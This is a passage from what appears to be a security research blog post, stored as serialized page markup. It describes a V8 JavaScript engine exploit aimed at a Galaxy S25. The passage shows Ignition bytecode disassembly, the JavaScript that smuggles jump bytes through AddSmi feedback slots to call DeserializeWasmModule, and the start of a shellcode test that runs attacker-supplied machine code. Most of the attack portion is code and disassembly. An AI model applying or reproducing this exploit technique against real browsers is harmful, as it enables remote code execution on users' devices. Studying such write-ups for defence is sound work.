32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":25,"tag":34,"props":133984,"children":133985},{},[133986],{"type":31,"value":133987},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":25,"tag":34,"props":133989,"children":133990},{},[133991,133993,133999,134001,134007,134009,134015],{"type":31,"value":133992},"At this point, we identified an interesting opcode: ",{"type":25,"tag":115,"props":133994,"children":133996},{"className":133995},[],[133997],{"type":31,"value":133998},"CallRuntime",{"type":31,"value":134000},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":25,"tag":115,"props":134002,"children":134004},{"className":134003},[],[134005],{"type":31,"value":134006},"--allow-natives-syntax",{"type":31,"value":134008}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":25,"tag":115,"props":134010,"children":134012},{"className":134011},[],[134013],{"type":31,"value":134014},"DeserializeWasmModule",{"type":31,"value":80},{"type":25,"tag":34,"props":134017,"children":134018},{},[134019,134021,134028,134029,134034,134035,134041,134043,134050],{"type":31,"value":134020},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":25,"tag":71,"props":134022,"children":134025},{"href":134023,"rel":134024},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[75],[134026],{"type":31,"value":134027},"JIT-compiled functions",{"type":31,"value":20030},{"type":25,"tag":115,"props":134030,"children":134032},{"className":134031},[],[134033],{"type":31,"value":134014},{"type":31,"value":6087},{"type":25,"tag":115,"props":134036,"children":134038},{"className":134037},[],[134039],{"type":31,"value":134040},"SerializeWasmModule",{"type":31,"value":134042}," themselves are only used from test functions, and indeed have been ",{"type":25,"tag":71,"props":134044,"children":134047},{"href":134045,"rel":134046},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[75],[134048],{"type":31,"value":134049},"removed",{"type":31,"value":134051}," from recent production V8 builds due to how abusable this functionality is.",{"type":25,"tag":34,"props":134053,"children":134054},{},[134055,134057,134063,134065,134071,134073,134078,134080,134086,134088,134093,134094,134099,134100,134105,134107,134113,134115,134119],{"type":31,"value":134056},"However, calling this opcode represented a significant challenge:\n",{"type":25,"tag":115,"props":134058,"children":134060},{"className":134059},[],[134061],{"type":31,"value":134062},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":31,"value":134064},"\nWhere ",{"type":25,"tag":115,"props":134066,"children":134068},{"className":134067},[],[134069],{"type":31,"value":134070},"func-id",{"type":31,"value":134072}," is a 2-byte function ID, ",{"type":25,"tag":115,"props":134074,"children":134076},{"className":134075},[],[134077],{"type":31,"value":39298},{"type":31,"value":134079}," is the index of the last register passed and ",{"type":25,"tag":115,"props":134081,"children":134083},{"className":134082},[],[134084],{"type":31,"value":134085},"argc",{"type":31,"value":134087}," is the number of arguments passed (e.g. passing ",{"type":25,"tag":115,"props":134089,"children":134091},{"className":134090},[],[134092],{"type":31,"value":45456},{"type":31,"value":919},{"type":25,"tag":115,"props":134095,"children":134097},{"className":134096},[],[134098],{"type":31,"value":45599},{"type":31,"value":12493},{"type":25,"tag":115,"props":134101,"children":134103},{"className":134102},[],[134104],{"type":31,"value":45582},{"type":31,"value":134106}," would be encoded as ",{"type":25,"tag":115,"props":134108,"children":134110},{"className":134109},[],[134111],{"type":31,"value":134112},"\u003Cr2> \u003C3>",{"type":31,"value":134114},").\nThis requires ",{"type":25,"tag":65,"props":134116,"children":134117},{},[134118],{"type":31,"value":19606},{"type":31,"value":134120}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":25,"tag":40,"props":134122,"children":134124},{"id":134123},"better-bytecode-control",[134125],{"type":31,"value":134126},"Better Bytecode Control",{"type":25,"tag":34,"props":134128,"children":134129},{},[134130,134132,134139,134141,134147],{"type":31,"value":134131},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":25,"tag":71,"props":134133,"children":134136},{"href":134134,"rel":134135},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[75],[134137],{"type":31,"value":134138},"feedback vector slot",{"type":31,"value":134140},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":25,"tag":115,"props":134142,"children":134144},{"className":134143},[],[134145],{"type":31,"value":134146},"AddSmi",{"type":31,"value":134148}," instruction, it represents the number of operations performed on the target value so far.",{"type":25,"tag":34,"props":134150,"children":134151},{},[134152],{"type":31,"value":134153},"For example, we can look at the below Ignition disassembly:",{"type":25,"tag":191,"props":134155,"children":134157},{"code":134156},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134158],{"type":25,"tag":115,"props":134159,"children":134160},{"__ignoreMap":7},[134161],{"type":31,"value":134156},{"type":25,"tag":34,"props":134163,"children":134164},{},[134165,134167,134173],{"type":31,"value":134166},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":25,"tag":115,"props":134168,"children":134170},{"className":134169},[],[134171],{"type":31,"value":134172},"AddSmi.ExtraWide",{"type":31,"value":134174},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":25,"tag":34,"props":134176,"children":134177},{},[134178],{"type":31,"value":134179},"Eventually, we can reach a stage like this:",{"type":25,"tag":191,"props":134181,"children":134183},{"code":134182},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134184],{"type":25,"tag":115,"props":134185,"children":134186},{"__ignoreMap":7},[134187],{"type":31,"value":134182},{"type":25,"tag":34,"props":134189,"children":134190},{},[134191],{"type":31,"value":134192},"If you skip the first two bytes, you have",{"type":25,"tag":18183,"props":134194,"children":134195},{},[134196,134227],{"type":25,"tag":6948,"props":134197,"children":134198},{},[134199,134204,134206,134211,134213,134219,134221],{"type":25,"tag":115,"props":134200,"children":134202},{"className":134201},[],[134203],{"type":31,"value":133998},{"type":31,"value":134205}," (0x6c) to ",{"type":25,"tag":115,"props":134207,"children":134209},{"className":134208},[],[134210],{"type":31,"value":134014},{"type":31,"value":134212}," (0x0266) starting from register ",{"type":25,"tag":115,"props":134214,"children":134216},{"className":134215},[],[134217],{"type":31,"value":134218},"a2",{"type":31,"value":134220}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":25,"tag":115,"props":134222,"children":134224},{"className":134223},[],[134225],{"type":31,"value":134226},"DeserializeWasmModule(a2, a1)",{"type":25,"tag":6948,"props":134228,"children":134229},{},[134230],{"type":31,"value":134231},"a Jump instruction",{"type":25,"tag":40,"props":134233,"children":134235},{"id":134234},"returning-back-to-js",[134236],{"type":31,"value":134237},"Returning Back to JS",{"type":25,"tag":34,"props":134239,"children":134240},{},[134241,134243,134249],{"type":31,"value":134242},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":25,"tag":115,"props":134244,"children":134246},{"className":134245},[],[134247],{"type":31,"value":134248},"yield",{"type":31,"value":134250}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":25,"tag":34,"props":134252,"children":134253},{},[134254],{"type":31,"value":134255},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":25,"tag":191,"props":134257,"children":134259},{"code":134258,"language":195,"meta":7,"className":193,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[134260],{"type":25,"tag":115,"props":134261,"children":134262},{"__ignoreMap":7},[134263,134274,134322,134343,134359,134382,134410,134427],{"type":25,"tag":201,"props":134264,"children":134265},{"class":203,"line":204},[134266,134270],{"type":25,"tag":201,"props":134267,"children":134268},{"style":230},[134269],{"type":31,"value":49408},{"type":25,"tag":201,"props":134271,"children":134272},{"style":220},[134273],{"type":31,"value":327},{"type":25,"tag":201,"props":134275,"children":134276},{"class":203,"line":226},[134277,134282,134286,134291,134295,134300,134304,134309,134313,134317],{"type":25,"tag":201,"props":134278,"children":134279},{"style":246},[134280],{"type":31,"value":134281},"  $",{"type":25,"tag":201,"props":134283,"children":134284},{"style":220},[134285],{"type":31,"value":77702},{"type":25,"tag":201,"props":134287,"children":134288},{"style":267},[134289],{"type":31,"value":134290},"'a1 + 0xa931111;'",{"type":25,"tag":201,"props":134292,"children":134293},{"style":220},[134294],{"type":31,"value":80},{"type":25,"tag":201,"props":134296,"children":134297},{"style":214},[134298],{"type":31,"value":134299},"repeat",{"type":25,"tag":201,"props":134301,"children":134302},{"style":220},[134303],{"type":31,"value":298},{"type":25,"tag":201,"props":134305,"children":134306},{"style":426},[134307],{"type":31,"value":134308},"0x059302",{"type":25,"tag":201,"props":134310,"children":134311},{"style":261},[134312],{"type":31,"value":52333},{"type":25,"tag":201,"props":134314,"children":134315},{"style":426},[134316],{"type":31,"value":6029},{"type":25,"tag":201,"props":134318,"children":134319},{"style":220},[134320],{"type":31,"value":134321},")}\n",{"type":25,"tag":201,"props":134323,"children":134324},{"class":203,"line":278},[134325,134330,134334,134339],{"type":25,"tag":201,"props":134326,"children":134327},{"style":246},[134328],{"type":31,"value":134329},"  a1",{"type":25,"tag":201,"props":134331,"children":134332},{"style":261},[134333],{"type":31,"value":10412},{"type":25,"tag":201,"props":134335,"children":134336},{"style":426},[134337],{"type":31,"value":134338}," 0x0402666c",{"type":25,"tag":201,"props":134340,"children":134341},{"style":220},[134342],{"type":31,"value":461},{"type":25,"tag":201,"props":134344,"children":134345},{"class":203,"line":311},[134346,134350,134355],{"type":25,"tag":201,"props":134347,"children":134348},{"style":230},[134349],{"type":31,"value":4149},{"type":25,"tag":201,"props":134351,"children":134352},{"style":426},[134353],{"type":31,"value":134354}," 0x393e91a",{"type":25,"tag":201,"props":134356,"children":134357},{"style":220},[134358],{"type":31,"value":461},{"type":25,"tag":201,"props":134360,"children":134361},{"class":203,"line":330},[134362,134366,134370,134374,134378],{"type":25,"tag":201,"props":134363,"children":134364},{"style":220},[134365],{"type":31,"value":47950},{"type":25,"tag":201,"props":134367,"children":134368},{"style":230},[134369],{"type":31,"value":49488},{"type":25,"tag":201,"props":134371,"children":134372},{"style":220},[134373],{"type":31,"value":238},{"type":25,"tag":201,"props":134375,"children":134376},{"style":246},[134377],{"type":31,"value":52532},{"type":25,"tag":201,"props":134379,"children":134380},{"style":220},[134381],{"type":31,"value":275},{"type":25,"tag":201,"props":134383,"children":134384},{"class":203,"line":397},[134385,134389,134393,134397,134401,134406],{"type":25,"tag":201,"props":134386,"children":134387},{"style":246},[134388],{"type":31,"value":103028},{"type":25,"tag":201,"props":134390,"children":134391},{"style":220},[134392],{"type":31,"value":80},{"type":25,"tag":201,"props":134394,"children":134395},{"style":214},[134396],{"type":31,"value":103037},{"type":25,"tag":201,"props":134398,"children":134399},{"style":220},[134400],{"type":31,"value":298},{"type":25,"tag":201,"props":134402,"children":134403},{"style":267},[134404],{"type":31,"value":134405},"\"foo\"",{"type":25,"tag":201,"props":134407,"children":134408},{"style":220},[134409],{"type":31,"value":308},{"type":25,"tag":201,"props":134411,"children":134412},{"class":203,"line":437},[134413,134418,134423],{"type":25,"tag":201,"props":134414,"children":134415},{"style":230},[134416],{"type":31,"value":134417},"  yield",{"type":25,"tag":201,"props":134419,"children":134420},{"style":246},[134421],{"type":31,"value":134422}," a16",{"type":25,"tag":201,"props":134424,"children":134425},{"style":220},[134426],{"type":31,"value":461},{"type":25,"tag":201,"props":134428,"children":134429},{"class":203,"line":464},[134430],{"type":25,"tag":201,"props":134431,"children":134432},{"style":220},[134433],{"type":31,"value":1187},{"type":25,"tag":34,"props":134435,"children":134436},{},[134437,134439],{"type":31,"value":134438},"Starting from the final ",{"type":25,"tag":115,"props":134440,"children":134442},{"className":134441},[],[134443],{"type":31,"value":134146},{"type":25,"tag":191,"props":134445,"children":134447},{"code":134446}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[134448],{"type":25,"tag":115,"props":134449,"children":134450},{"__ignoreMap":7},[134451],{"type":31,"value":134446},{"type":25,"tag":34,"props":134453,"children":134454},{},[134455,134457,134462,134464,134470],{"type":31,"value":134456},"The smuggled jump in ",{"type":25,"tag":115,"props":134458,"children":134460},{"className":134459},[],[134461],{"type":31,"value":134146},{"type":31,"value":134463}," will redirect us to ",{"type":25,"tag":115,"props":134465,"children":134467},{"className":134466},[],[134468],{"type":31,"value":134469},"1a e9 93 03",{"type":31,"value":134471},", which results in:",{"type":25,"tag":18183,"props":134473,"children":134474},{},[134475,134486],{"type":25,"tag":6948,"props":134476,"children":134477},{},[134478,134484],{"type":25,"tag":115,"props":134479,"children":134481},{"className":134480},[],[134482],{"type":31,"value":134483},"Star r16",{"type":31,"value":134485}," (store accumulator to r16)",{"type":25,"tag":6948,"props":134487,"children":134488},{},[134489,134494],{"type":25,"tag":115,"props":134490,"children":134492},{"className":134491},[],[134493],{"type":31,"value":133916},{"type":31,"value":134495}," past the throw into the catch relevant code",{"type":25,"tag":34,"props":134497,"children":134498},{},[134499,134501,134507],{"type":31,"value":134500},"This will bring us nicely to the final ",{"type":25,"tag":115,"props":134502,"children":134504},{"className":134503},[],[134505],{"type":31,"value":134506},"yield a16",{"type":31,"value":134508},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":25,"tag":40,"props":134510,"children":134512},{"id":134511},"executing-shellcode",[134513],{"type":31,"value":134514},"Executing Shellcode",{"type":25,"tag":34,"props":134516,"children":134517},{},[134518],{"type":31,"value":134519},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":25,"tag":191,"props":134521,"children":134523},{"code":134522,"language":36685,"meta":7,"className":36683,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[134524],{"type":25,"tag":115,"props":134525,"children":134526},{"__ignoreMap":7},[134527,134557,134784,134852,134859,134904,134950,134990,134997,135021,135058,135094],{"type":25,"tag":201,"props":134528,"children":134529},{"class":203,"line":204},[134530,134534,134539,134543,134547,134552],{"type":25,"tag":201,"props":134531,"children":134532},{"style":208},[134533],{"type":31,"value":3990},{"type":25,"tag":201,"props":134535,"children":134536},{"style":246},[134537],{"type":31,"value":134538}," wasm_code",{"type":25,"tag":201,"props":134540,"children":134541},{"style":261},[134542],{"type":31,"value":413},{"type":25,"tag":201,"props":134544,"children":134545},{"style":208},[134546],{"type":31,"value":828},{"type":25,"tag":201,"props":134548,"children":134549},{"style":214},[134550],{"type":31,"value":134551}," Uint8Array",{"type":25,"tag":201,"props":134553,"children":134554},{"style":220},[134555],{"type":31,"value":134556},"([\n",{"type":25,"tag":201,"props":134558,"children":134559},{"class":203,"line":226},[134560,134565,134569,134574,134578,134583,134587,134592,134596,134600,134604,134608,134612,134616,134620,134624,134628,134632,134636,134640,134644,134648,134652,134657,134661,134665,134669,134673,134677,134681,134685,134689,134693,134697,134701,134705,134709,134713,134717,134721,134725,134729,134733,134737,134741,134745,134749,134754,134758,134763,134767,134772,134776,134780],{"type":25,"tag":201,"props":134561,"children":134562},{"style":426},[134563],{"type":31,"value":134564},"  0",{"type":25,"tag":201,"props":134566,"children":134567},{"style":220},[134568],{"type":31,"value":919},{"type":25,"tag":201,"props":134570,"children":134571},{"style":426},[134572],{"type":31,"value":134573},"97",{"type":25,"tag":201,"props":134575,"children":134576},{"style":220},[134577],{"type":31,"value":919},{"type":25,"tag":201,"props":134579,"children":134580},{"style":426},[134581],{"type":31,"value":134582},"115",{"type":25,"tag":201,"props":134584,"children":134585},{"style":220},[134586],{"type":31,"value":919},{"type":25,"tag":201,"props":134588,"children":134589},{"style":426},[134590],{"type":31,"value":134591},"109",{"type":25,"tag":201,"props":134593,"children":134594},{"style":220},[134595],{"type":31,"value":919},{"type":25,"tag":201,"props":134597,"children":134598},{"style":426},[134599],{"type":31,"value":5516},{"type":25,"tag":201,"props":134601,"children":134602},{"style":220},[134603],{"type":31,"value":919},{"type":25,"tag":201,"props":134605,"children":134606},{"style":426},[134607],{"type":31,"value":429},{"type":25,"tag":201,"props":134609,"children":134610},{"style":220},[134611],{"type":31,"value":919},{"type":25,"tag":201,"props":134613,"children":134614},{"style":426},[134615],{"type":31,"value":429},{"type":25,"tag":201,"props":134617,"children":134618},{"style":220},[134619],{"type":31,"value":919},{"type":25,"tag":201,"props":134621,"children":134622},{"style":426},[134623],{"type":31,"value":429},{"type":25,"tag":201,"props":134625,"children":134626},{"style":220},[134627],{"type":31,"value":919},{"type":25,"tag":201,"props":134629,"children":134630},{"style":426},[134631],{"type":31,"value":5516},{"type":25,"tag":201,"props":134633,"children":134634},{"style":220},[134635],{"type":31,"value":919},{"type":25,"tag":201,"props":134637,"children":134638},{"style":426},[134639],{"type":31,"value":19025},{"type":25,"tag":201,"props":134641,"children":134642},{"style":220},[134643],{"type":31,"value":919},{"type":25,"tag":201,"props":134645,"children":134646},{"style":426},[134647],{"type":31,"value":5516},{"type":25,"tag":201,"props":134649,"children":134650},{"style":220},[134651],{"type":31,"value":919},{"type":25,"tag":201,"props":134653,"children":134654},{"style":426},[134655],{"type":31,"value":134656},"96",{"type":25,"tag":201,"props":134658,"children":134659},{"style":220},[134660],{"type":31,"value":919},{"type":25,"tag":201,"props":134662,"children":134663},{"style":426},[134664],{"type":31,"value":429},{"type":25,"tag":201,"props":134666,"children":134667},{"style":220},[134668],{"type":31,"value":919},{"type":25,"tag":201,"props":134670,"children":134671},{"style":426},[134672],{"type":31,"value":429},{"type":25,"tag":201,"props":134674,"children":134675},{"style":220},[134676],{"type":31,"value":919},{"type":25,"tag":201,"props":134678,"children":134679},{"style":426},[134680],{"type":31,"value":18792},{"type":25,"tag":201,"props":134682,"children":134683},{"style":220},[134684],{"type":31,"value":919},{"type":25,"tag":201,"props":134686,"children":134687},{"style":426},[134688],{"type":31,"value":4629},{"type":25,"tag":201,"props":134690,"children":134691},{"style":220},[134692],{"type":31,"value":919},{"type":25,"tag":201,"props":134694,"children":134695},{"style":426},[134696],{"type":31,"value":5516},{"type":25,"tag":201,"props":134698,"children":134699},{"style":220},[134700],{"type":31,"value":919},{"type":25,"tag":201,"props":134702,"children":134703},{"style":426},[134704],{"type":31,"value":429},{"type":25,"tag":201,"props":134706,"children":134707},{"style":220},[134708],{"type":31,"value":919},{"type":25,"tag":201,"props":134710,"children":134711},{"style":426},[134712],{"type":31,"value":55749},{"type":25,"tag":201,"props":134714,"children":134715},{"style":220},[134716],{"type":31,"value":919},{"type":25,"tag":201,"props":134718,"children":134719},{"style":426},[134720],{"type":31,"value":56964},{"type":25,"tag":201,"props":134722,"children":134723},{"style":220},[134724],{"type":31,"value":919},{"type":25,"tag":201,"props":134726,"children":134727},{"style":426},[134728],{"type":31,"value":5516},{"type":25,"tag":201,"props":134730,"children":134731},{"style":220},[134732],{"type":31,"value":919},{"type":25,"tag":201,"props":134734,"children":134735},{"style":426},[134736],{"type":31,"value":19606},{"type":25,"tag":201,"props":134738,"children":134739},{"style":220},[134740],{"type":31,"value":919},{"type":25,"tag":201,"props":134742,"children":134743},{"style":426},[134744],{"type":31,"value":134582},{"type":25,"tag":201,"props":134746,"children":134747},{"style":220},[134748],{"type":31,"value":919},{"type":25,"tag":201,"props":134750,"children":134751},{"style":426},[134752],{"type":31,"value":134753},"104",{"type":25,"tag":201,"props":134755,"children":134756},{"style":220},[134757],{"type":31,"value":919},{"type":25,"tag":201,"props":134759,"children":134760},{"style":426},[134761],{"type":31,"value":134762},"101",{"type":25,"tag":201,"props":134764,"children":134765},{"style":220},[134766],{"type":31,"value":919},{"type":25,"tag":201,"props":134768,"children":134769},{"style":426},[134770],{"type":31,"value":134771},"108",{"type":25,"tag":201,"props":134773,"children":134774},{"style":220},[134775],{"type":31,"value":919},{"type":25,"tag":201,"props":134777,"children":134778},{"style":426},[134779],{"type":31,"value":134771},{"type":25,"tag":201,"props":134781,"children":134782},{"style":220},[134783],{"type":31,"value":547},{"type":25,"tag":201,"props":134785,"children":134786},{"class":203,"line":278},[134787,134791,134795,134799,134803,134807,134811,134815,134819,134823,134827,134831,134835,134839,134843,134848],{"type":25,"tag":201,"props":134788,"children":134789},{"style":426},[134790],{"type":31,"value":134564},{"type":25,"tag":201,"props":134792,"children":134793},{"style":220},[134794],{"type":31,"value":919},{"type":25,"tag":201,"props":134796,"children":134797},{"style":426},[134798],{"type":31,"value":429},{"type":25,"tag":201,"props":134800,"children":134801},{"style":220},[134802],{"type":31,"value":919},{"type":25,"tag":201,"props":134804,"children":134805},{"style":426},[134806],{"type":31,"value":90337},{"type":25,"tag":201,"props":134808,"children":134809},{"style":220},[134810],{"type":31,"value":919},{"type":25,"tag":201,"props":134812,"children":134813},{"style":426},[134814],{"type":31,"value":19025},{"type":25,"tag":201,"props":134816,"children":134817},{"style":220},[134818],{"type":31,"value":919},{"type":25,"tag":201,"props":134820,"children":134821},{"style":426},[134822],{"type":31,"value":5516},{"type":25,"tag":201,"props":134824,"children":134825},{"style":220},[134826],{"type":31,"value":919},{"type":25,"tag":201,"props":134828,"children":134829},{"style":426},[134830],{"type":31,"value":4629},{"type":25,"tag":201,"props":134832,"children":134833},{"style":220},[134834],{"type":31,"value":919},{"type":25,"tag":201,"props":134836,"children":134837},{"style":426},[134838],{"type":31,"value":429},{"type":25,"tag":201,"props":134840,"children":134841},{"style":220},[134842],{"type":31,"value":919},{"type":25,"tag":201,"props":134844,"children":134845},{"style":426},[134846],{"type":31,"value":134847},"11",{"type":25,"tag":201,"props":134849,"children":134850},{"style":220},[134851],{"type":31,"value":547},{"type":25,"tag":201,"props":134853,"children":134854},{"class":203,"line":311},[134855],{"type":25,"tag":201,"props":134856,"children":134857},{"style":220},[134858],{"type":31,"value":5255},{"type":25,"tag":201,"props":134860,"children":134861},{"class":203,"line":330},[134862,134866,134870,134874,134878,134883,134887,134891,134895,134900],{"type":25,"tag":201,"props":134863,"children":134864},{"style":208},[134865],{"type":31,"value":3990},{"type":25,"tag":201,"props":134867,"children":134868},{"style":246},[134869],{"type":31,"value":72706},{"type":25,"tag":201,"props":134871,"children":134872},{"style":261},[134873],{"type":31,"value":413},{"type":25,"tag":201,"props":134875,"children":134876},{"style":208},[134877],{"type":31,"value":828},{"type":25,"tag":201,"props":134879,"children":134880},{"style":246},[134881],{"type":31,"value":134882}," WebAssembly",{"type":25,"tag":201,"props":134884,"children":134885},{"style":220},[134886],{"type":31,"value":80},{"type":25,"tag":201,"props":134888,"children":134889},{"style":214},[134890],{"type":31,"value":87003},{"type":25,"tag":201,"props":134892,"children":134893},{"style":220},[134894],{"type":31,"value":298},{"type":25,"tag":201,"props":134896,"children":134897},{"style":246},[134898],{"type":31,"value":134899},"wasm_code",{"type":25,"tag":201,"props":134901,"children":134902},{"style":220},[134903],{"type":31,"value":308},{"type":25,"tag":201,"props":134905,"children":134906},{"class":203,"line":397},[134907,134911,134916,134920,134924,134928,134932,134937,134941,134946],{"type":25,"tag":201,"props":134908,"children":134909},{"style":208},[134910],{"type":31,"value":3990},{"type":25,"tag":201,"props":134912,"children":134913},{"style":246},[134914],{"type":31,"value":134915}," inst",{"type":25,"tag":201,"props":134917,"children":134918},{"style":261},[134919],{"type":31,"value":413},{"type":25,"tag":201,"props":134921,"children":134922},{"style":208},[134923],{"type":31,"value":828},{"type":25,"tag":201,"props":134925,"children":134926},{"style":246},[134927],{"type":31,"value":134882},{"type":25,"tag":201,"props":134929,"children":134930},{"style":220},[134931],{"type":31,"value":80},{"type":25,"tag":201,"props":134933,"children":134934},{"style":214},[134935],{"type":31,"value":134936},"Instance",{"type":25,"tag":201,"props":134938,"children":134939},{"style":220},[134940],{"type":31,"value":298},{"type":25,"tag":201,"props":134942,"children":134943},{"style":246},[134944],{"type":31,"value":134945},"mod",{"type":25,"tag":201,"props":134947,"children":134948},{"style":220},[134949],{"type":31,"value":308},{"type":25,"tag":201,"props":134951,"children":134952},{"class":203,"line":437},[134953,134957,134961,134965,134969,134973,134977,134981,134986],{"type":25,"tag":201,"props":134954,"children":134955},{"style":208},[134956],{"type":31,"value":3990},{"type":25,"tag":201,"props":134958,"children":134959},{"style":246},[134960],{"type":31,"value":81093},{"type":25,"tag":201,"props":134962,"children":134963},{"style":261},[134964],{"type":31,"value":413},{"type":25,"tag":201,"props":134966,"children":134967},{"style":246},[134968],{"type":31,"value":134915},{"type":25,"tag":201,"props":134970,"children":134971},{"style":220},[134972],{"type":31,"value":80},{"type":25,"tag":201,"props":134974,"children":134975},{"style":246},[134976],{"type":31,"value":38956},{"type":25,"tag":201,"props":134978,"children":134979},{"style":220},[134980],{"type":31,"value":80},{"type":25,"tag":201,"props":134982,"children":134983},{"style":246},[134984],{"type":31,"value":134985},"shell",{"type":25,"tag":201,"props":134987,"children":134988},{"style":220},[134989],{"type":31,"value":461},{"type":25,"tag":201,"props":134991,"children":134992},{"class":203,"line":464},[134993],{"type":25,"tag":201,"props":134994,"children":134995},{"emptyLinePlaceholder":17},[134996],{"type":31,"value":496},{"type":25,"tag":201,"props":134998,"children":134999},{"class":203,"line":490},[135000,135004,135009,135013,135017],{"type":25,"tag":201,"props":135001,"children":135002},{"style":261},[135003],{"type":31,"value":57467},{"type":25,"tag":201,"props":135005,"children":135006},{"style":214},[135007],{"type":31,"value":135008},"WasmTierUpFunction",{"type":25,"tag":201,"props":135010,"children":135011},{"style":220},[135012],{"type":31,"value":298},{"type":25,"tag":201,"props":135014,"children":135015},{"style":246},[135016],{"type":31,"value":77384},{"type":25,"tag":201,"props":135018,"children":135019},{"style":220},[135020],{"type":31,"value":308},{"type":25,"tag":201,"props":135022,"children":135023},{"class":203,"line":499},[135024,135028,135033,135037,135042,135046,135050,135054],{"type":25,"tag":201,"props":135025,"children":135026},{"style":208},[135027],{"type":31,"value":3990},{"type":25,"tag":201,"props":135029,"children":135030},{"style":246},[135031],{"type":31,"value":135032}," serialized",{"type":25,"tag":201,"props":135034,"children":135035},{"style":261},[135036],{"type":31,"value":413},{"type":25,"tag":201,"props":135038,"children":135039},{"style":261},[135040],{"type":31,"value":135041}," %",{"type":25,"tag":201,"props":135043,"children":135044},{"style":214},[135045],{"type":31,"value":134040},{"type":25,"tag":201,"props":135047,"children":135048},{"style":220},[135049],{"type":31,"value":298},{"type":25,"tag":201,"props":135051,"children":135052},{"style":246},[135053],{"type":31,"value":134945},{"type":25,"tag":201,"props":135055,"children":135056},{"style":220},[135057],{"type":31,"value":308},{"type":25,"tag":201,"props":135059,"children":135060},{"class":203,"line":522},[135061,135065,135069,135073,135077,135081,135085,135090],{"type":25,"tag":201,"props":135062,"children":135063},{"style":208},[135064],{"type":31,"value":13289},{"type":25,"tag":201,"props":135066,"children":135067},{"style":246},[135068],{"type":31,"value":10664},{"type":25,"tag":201,"props":135070,"children":135071},{"style":261},[135072],{"type":31,"value":413},{"type":25,"tag":201,"props":135074,"children":135075},{"style":208},[135076],{"type":31,"value":828},{"type":25,"tag":201,"props":135078,"children":135079},{"style":214},[135080],{"type":31,"value":134551},{"type":25,"tag":201,"props":135082,"children":135083},{"style":220},[135084],{"type":31,"value":298},{"type":25,"tag":201,"props":135086,"children":135087},{"style":246},[135088],{"type":31,"value":135089},"serialized",{"type":25,"tag":201,"props":135091,"children":135092},{"style":220},[135093],{"type":31,"value":308},{"type":25,"tag":201,"props":135095,"children":135096},{"class":203,"line":531},[135097,135102,135106,135110,135114,135119,135123,135127,135131,135136,135140,135145,135149,135153,135158],{"type":25,"tag":201,"props":135098,"children":135099},{"style":246},[135100],{"type":31,"value":135101},"console",{"type":25,"tag":201,"props":135103,"children":135104},{"style":220},[135105],{"type":31,"value":80},{"type":25,"tag":201,"props":135107,"children":135108},{"style":214},[135109],{"type":31,"value":103037},{"type":25,"tag":201,"props":135111,"children":135112},{"style":220},[135113],{"type":31,"value":298},{"type":25,"tag":201,"props":135115,"children":135116},{"style":267},[135117],{"type":31,"value":135118},"'['",{"type":25,"tag":201,"props":135120,"children":135121},{"style":261},[135122],{"type":31,"value":10412},{"type":25,"tag":201,"props":135124,"children":135125},{"style":246},[135126],{"type":31,"value":10664},{"type":25,"tag":201,"props":135128,"children":135129},{"style":220},[135130],{"type":31,"value":80},{"type":25,"t